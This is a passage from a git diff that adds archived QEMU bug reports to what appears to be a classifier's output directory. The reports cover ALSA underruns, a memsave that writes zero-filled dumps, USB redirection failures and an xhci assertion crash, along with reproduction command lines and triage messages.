pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred + + +More info: + +Host: Linux 4.3.3 vanilla/CentOS 6.7 i686 +ALSA: alsa-lib-1.0.22-3.el6.i686 + +Qemu: 2.5 + +Triaging old bug tickets ... can you still reproduce this issue with the latest version of QEMU (currently v2.9)? + +I'm still using Gentoo Linux on the same 64-bit system, and I can still reproduce this bug: + +qemu-system-i386 -cpu host -m 1G -k it -drive file=~/qemu/windows-7-ultimate-x86.qcow2,media=disk,index=0 -vga std -net nic -net user -enable-kvm -display sdl -soundhw ac97 -device usb-ehci,id=ehci -usb -rtc base=localtime -usbdevice tablet +audio: Failed to create voice `ac97.pi' +audio: Failed to create voice `ac97.mc' +audio: Failed to create voice `ac97.pi' +audio: Failed to create voice `ac97.mc' +ALSA lib /var/tmp/portage/media-libs/alsa-lib-1.1.4/work/alsa-lib-1.1.4/src/pcm/pcm.c:8321:(snd_pcm_recover) underrun occurred + +$ emerge -pv qemu alsa-lib + +These are the packages that would be merged, in order: + +Calculating dependencies... done! +[ebuild R ] media-libs/alsa-lib-1.1.4::gentoo USE="python -alisp -debug -doc" PYTHON_TARGETS="python2_7" 0 KiB +[ebuild R ] app-emulation/qemu-2.9.0-r54::gentoo USE="aio alsa bzip2 curl fdt gnutls jpeg lzo ncurses nls opengl pin-upstream-blobs png python sdl seccomp usb vhost-net -accessibility -bluetooth -caps -debug -filecaps -glusterfs -gtk -gtk2 -infiniband -iscsi -nfs -numa -pulseaudio -rbd -sasl -sdl2 (-selinux) -smartcard -snappy -spice -ssh -static -static-user -systemtap -tci {-test} -usbredir -vde -virgl -virtfs -vnc -vte -xattr -xen -xfs" LINGUAS="-bg -de_DE -fr_FR -hu -it -tr -zh_CN" PYTHON_TARGETS="python2_7" QEMU_SOFTMMU_TARGETS="i386 x86_64 -aarch64 -alpha -arm -cris -lm32 -m68k -microblaze -microblazeel -mips -mips64 -mips64el -mipsel -moxie -nios2 -or1k -ppc -ppc64 -ppcemb -s390x -sh4 -sh4eb -sparc -sparc64 -tricore -unicore32 -xtensa -xtensaeb" QEMU_USER_TARGETS="-aarch64 -alpha -arm -armeb -cris -hppa -i386 -m68k -microblaze -microblazeel -mips -mips64 -mips64el -mipsel -mipsn32 -mipsn32el -nios2 -or1k -ppc -ppc64 -ppc64abi32 -ppc64le -s390x -sh4 -sh4eb -sparc -sparc32plus -sparc64 -tilegx -x86_64" 0 KiB + + +This is an automated cleanup. This bug report has been moved +to QEMU's new bug tracker on gitlab.com and thus gets marked +as 'expired' now. Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/69 + + diff --git a/results/classifier/deepseek-1/output/environment./1248469 b/results/classifier/deepseek-1/output/environment./1248469 new file mode 100644 index 00000000..cda4b929 --- /dev/null +++ b/results/classifier/deepseek-1/output/environment./1248469 @@ -0,0 +1,9 @@ + +qemu 1.6.1 q35 ioh3420 not work in windows 7 32bit + +boot windows 7 32bit guest with -readconfig q35-chipset.cfg paramter,in guest's device manager,there's a device 3420 not work,it shows error "This device cannot find enough free resources that it can use(code 12)". + +Can you still reproduce this problem with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/environment./1305400 b/results/classifier/deepseek-1/output/environment./1305400 new file mode 100644 index 00000000..4ebd2459 --- /dev/null +++ b/results/classifier/deepseek-1/output/environment./1305400 @@ -0,0 +1,105 @@ + +qmp-version of memsave makes a zero filled dump + +calling the memsave function through hmp and qmp makes a different results. it happened because hmp_memsave calls synchronization of cpu, but qmp_marshal_input_memsave does not. so virDomainMemoryPeek (libvirt api) does not work correctly + +1) hmp: +void hmp_memsave(Monitor *mon, const QDict *qdict) +{ + uint32_t size = qdict_get_int(qdict, "size"); + const char *filename = qdict_get_str(qdict, "filename"); + uint64_t addr = qdict_get_int(qdict, "val"); + Error *errp = NULL; + + qmp_memsave(addr, size, filename, true, <<<< monitor_get_cpu_index() >>>, &errp); + hmp_handle_error(mon, &errp); +} +int monitor_get_cpu_index(void) +{ + CPUState *cpu = ENV_GET_CPU(<<< mon_get_cpu >>>()); + return cpu->cpu_index; +} +static CPUArchState *mon_get_cpu(void) +{ + if (!cur_mon->mon_cpu) { + monitor_set_cpu(0); + } + <<< cpu_synchronize_state(cur_mon->mon_cpu); >>> + return cur_mon->mon_cpu->env_ptr; +} + +2) qmp +int qmp_marshal_input_memsave(Monitor *mon, const QDict *qdict, QObject **ret) +{ + Error *local_err = NULL; + Error **errp = &local_err; + QDict *args = (QDict *)qdict; + QmpInputVisitor *mi; + QapiDeallocVisitor *md; + Visitor *v; + int64_t val; + int64_t size; + char * filename = NULL; + bool has_cpu_index = false; + int64_t cpu_index; + + mi = qmp_input_visitor_new_strict(QOBJECT(args)); + v = qmp_input_get_visitor(mi); + visit_type_int(v, &val, "val", errp); + visit_type_int(v, &size, "size", errp); + visit_type_str(v, &filename, "filename", errp); + visit_start_optional(v, &has_cpu_index, "cpu-index", errp); + if (has_cpu_index) { + visit_type_int(v, &cpu_index, "cpu-index", errp); + } + visit_end_optional(v, errp); + qmp_input_visitor_cleanup(mi); + + if (error_is_set(errp)) { + goto out; + } + <<< qmp_memsave(val, size, filename, has_cpu_index, cpu_index, errp); >>> + +out: + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int(v, &val, "val", NULL); + visit_type_int(v, &size, "size", NULL); + visit_type_str(v, &filename, "filename", NULL); + visit_start_optional(v, &has_cpu_index, "cpu-index", NULL); + if (has_cpu_index) { + visit_type_int(v, &cpu_index, "cpu-index", NULL); + } + visit_end_optional(v, NULL); + qapi_dealloc_visitor_cleanup(md); + + if (local_err) { + qerror_report_err(local_err); + error_free(local_err); + return -1; + } + return 0; +} + +how to reproduce: + +1) run qemu as it makes a libvirtd +./qemu-system-x86_64 -name gentoo -machine pc-i440fx-1.7,accel=kvm,usb=off -m 1024 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 135b3e47-43ca-bc68-e23b-354a2f62a023 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=./gentoo.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot menu=off,strict=on -kernel ./bzImage -append root="/dev/vda2 vga=38f" -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -drive file=./gentoo.img,if=none,id=drive-virtio-disk0,format=raw -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x4,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 -drive file=./install-amd64-minimal-20140320.iso,if=none,id=drive-ide0-1-0,readonly=on,format=raw -device ide-cd,bus=ide.1,unit=0,drive=drive-ide0-1-0,id=ide0-1-0,bootindex=2 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 127.0.0.1:0 -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,bus=pci.0,addr=0x2 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5 -vnc 127.0.0.1:2 -monitor stdio + +2) attach to qemu through qmp-shell (taken from qemu sources) +python ./qmp-shell ./gentoo.monitor + +3) make some commands in sequence +(qmp-shell) memsave memsave val=-2130706432 size=100 filename=./test01 +(stdio monitor) memsave 0xffffffff81000000 100 ./test02 +(qmp-shell) memsave memsave val=-2130706432 size=100 filename=./test03 + +result: +test01 - zero filled +test02 - right +test03 - right + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/environment./1707587 b/results/classifier/deepseek-1/output/environment./1707587 new file mode 100644 index 00000000..773a3a50 --- /dev/null +++ b/results/classifier/deepseek-1/output/environment./1707587 @@ -0,0 +1,15 @@ + +Read certificate from USB key failed + +QEMU release version: qemu-2.9.0 +VM operation system: win7 32bit + +I have an usb key which can be redirected and recognized in VM. However, it is failed to get the certificate when using the official application for this usb key. What's more, the whole app is stalled untill this usb key detached from VM. + +As I researched, this usb key uses interrupt transfers when application trying to read certificate from it. Problem is that some certificate data abandoned by "usbredir_stop_interrupt_receiving" and "usbredir_stop_ep". The two functions use "usbredir_free_bufpq" to clear the buffered usb packets, even the certificate remain in the bufpq. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/environment./1791947 b/results/classifier/deepseek-1/output/environment./1791947 new file mode 100644 index 00000000..b387bb05 --- /dev/null +++ b/results/classifier/deepseek-1/output/environment./1791947 @@ -0,0 +1,57 @@ + +isochronous usb device forwarding with windows 10 and xhci freezes + +When I try to forward isochronous usb devices (webcam, HID-Audio) into the VM the devices work for a few minutes then the device stops working and stays that way until a VM reboot or a windows driver reload. +It does not matter if I use qemu-xhci or nec-xhci. +I can gather more information, if its helpful! + +Windows build: +windows 10 pro 1803 jun 2018 + +Qemu command line: +/usr/bin/qemu-system-x86_64 -machine accel=kvm -name guest=win10,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-1-win10/master-key.aes -machine pc-q35-2.11,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu Skylake-Client-IBRS,ss=on,hypervisor=on,tsc_adjust=on,clflushopt=on,ssbd=on,xsaves=on,pdpe1gb=on,hv_time,hv_relaxed,hv_vapic,hv_spinlocks=0x1fff -m 8192 -realtime mlock=off -smp 4,sockets=4,cores=1,threads=1 -uuid 38b1258e-fea4-41fe-9e21-07c426c5b2b2 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-1-win10/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=localtime,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global ICH9-LPC.disable_s3=1 -global ICH9-LPC.disable_s4=1 -boot strict=on -device i82801b11-bridge,id=pci.1,bus=pcie.0,addr=0x1e -device pci-bridge,chassis_nr=2,id=pci.2,bus=pci.1,addr=0x0 -device pcie-root-port,port=0x10,chassis=3,id=pci.3,bus=pcie.0,multifunction=on,addr=0x2 -device pcie-root-port,port=0x11,chassis=4,id=pci.4,bus=pcie.0,addr=0x2.0x1 -device pcie-root-port,port=0x12,chassis=5,id=pci.5,bus=pcie.0,addr=0x2.0x2 -device pcie-root-port,port=0x13,chassis=6,id=pci.6,bus=pcie.0,addr=0x2.0x3 -device qemu-xhci,id=usb,bus=pci.3,addr=0x0 -device virtio-serial-pci,id=virtio-serial0,bus=pci.4,addr=0x0 -drive file=/var/lib/libvirt/images/win10.qcow2,format=qcow2,if=none,id=drive-sata0-0-0 -device ide-hd,bus=ide.0,drive=drive-sata0-0-0,id=sata0-0-0,bootindex=1 -drive file=/var/lib/libvirt/images/en_windows_10_multiple_editions_version_1803_jun_2018.iso,format=raw,if=none,id=drive-sata0-0-1,media=cdrom,readonly=on -device ide-cd,bus=ide.1,drive=drive-sata0-0-1,id=sata0-0-1 -netdev tap,fd=25,id=hostnet0 -device e1000,netdev=hostnet0,id=net0,mac=52:54:00:ab:33:11,bus=pci.2,addr=0x1 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -device usb-tablet,id=input0,bus=usb.0,port=1 -spice port=5900,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pcie.0,addr=0x1 -chardev spicevmc,id=charredir0,name=usbredir -device usb-redir,chardev=charredir0,id=redir0,bus=usb.0,port=2 -chardev spicevmc,id=charredir1,name=usbredir -device usb-redir,chardev=charredir1,id=redir1,bus=usb.0,port=3 -device virtio-balloon-pci,id=balloon0,bus=pci.5,addr=0x0 -msg timestamp=on + +Cheers, +Florian + +I tried it again today with qemu master: 19b599f7664b2ebfd0f405fb79c14dd241557452 +Unfortunately it did not work better than with qemu 2.11.2 + +The same bug also occurs with Windows 7 Enterprise SP1. + +How to reproduce: +1. download windows 10 iso april 2018 from here: + https://www.microsoft.com/en-us/software-download/windows10ISO?NavToggle=True +2. create a VM with virtmanager with q35 chipset and configure two usb redirect devices +(3. modify xml to use an xhci controller) +4. Install windows +5. redirect a usb soundcard or a usb headset into the VM +5. play some video and observe that it freezes after some time (1-20 mins) + +I have already posted a reply on Qemu-devel since everything posted here is automatically forwarded to Qemu-devel, however, the opposite is not true. So duplicating my reply on Qemu-devel: + +How exactly do you use USB redirection: via virt-manager or via spice +client (like remote viewer)? +If via spice-client, on which OS the client runs? In this case running +it with --spice-debug and collecting logs from stdio and stderr could +be helpful. +Can you also provide a usbpcap capture of the usb device's traffic +from within the VM? + +Thanks! + +Oh sorry... +I am not subscribed to Qemu-devel yet. + +I'm redirecting the usb devices via virt-manager. +Is there anything I can do? + +I attached the pcap file! + +Thank you very much! + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/environment./1883729 b/results/classifier/deepseek-1/output/environment./1883729 new file mode 100644 index 00000000..8e624d39 --- /dev/null +++ b/results/classifier/deepseek-1/output/environment./1883729 @@ -0,0 +1,399 @@ + +xhci_find_stream: Assertion `streamid != 0' failed. + +To reproduce run the QEMU with the following command line: +``` +qemu-system-x86_64 -cdrom hypertrash_os_bios_crash.iso -nographic -m 100 -enable-kvm -device virtio-gpu-pci -device nec-usb-xhci -device usb-audio +``` + +QEMU Version: +``` +# qemu-5.0.0 +$ ./configure --target-list=x86_64-softmmu --enable-sanitizers; make +$ x86_64-softmmu/qemu-system-x86_64 --version +QEMU emulator version 5.0.0 +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers +``` + + + +Attaching a QTest reproducer. +./i386-softmmu/qemu-system-i386 -device nec-usb-xhci -trace usb\* \ +-device usb-audio -device usb-storage,drive=mydrive \ +-drive id=mydrive,file=null-co://,size=2M,format=raw,if=none \ +-nodefaults -nographic -qtest stdio < repro + + +Close to the crash: +21000@1597111713.503068:usb_xhci_slot_configure slotid 58 +21000@1597111713.503074:usb_xhci_ep_disable slotid 58, epid 2 +21000@1597111713.503077:usb_xhci_ep_enable slotid 58, epid 2 +21000@1597111713.503085:usb_xhci_ep_disable slotid 58, epid 6 +21000@1597111713.503088:usb_xhci_ep_enable slotid 58, epid 6 +21000@1597111713.503092:usb_xhci_ep_disable slotid 58, epid 24 +21000@1597111713.503095:usb_xhci_ep_enable slotid 58, epid 24 +21000@1597111713.503099:usb_xhci_ep_disable slotid 58, epid 25 +21000@1597111713.503102:usb_xhci_ep_enable slotid 58, epid 25 +21000@1597111713.503106:usb_xhci_ep_disable slotid 58, epid 29 +21000@1597111713.503109:usb_xhci_ep_enable slotid 58, epid 29 +21000@1597111713.503113:usb_xhci_ep_disable slotid 58, epid 30 +21000@1597111713.503116:usb_xhci_ep_enable slotid 58, epid 30 +21000@1597111713.503121:usb_xhci_fetch_trb addr 0x0000000000000b20, CR_ENABLE_SLOT, p 0x0000000000000000, s 0x00000000, c 0x00002700 +21000@1597111713.503127:usb_xhci_slot_enable slotid 59 +21000@1597111713.503130:usb_xhci_fetch_trb addr 0x0000000000000b30, 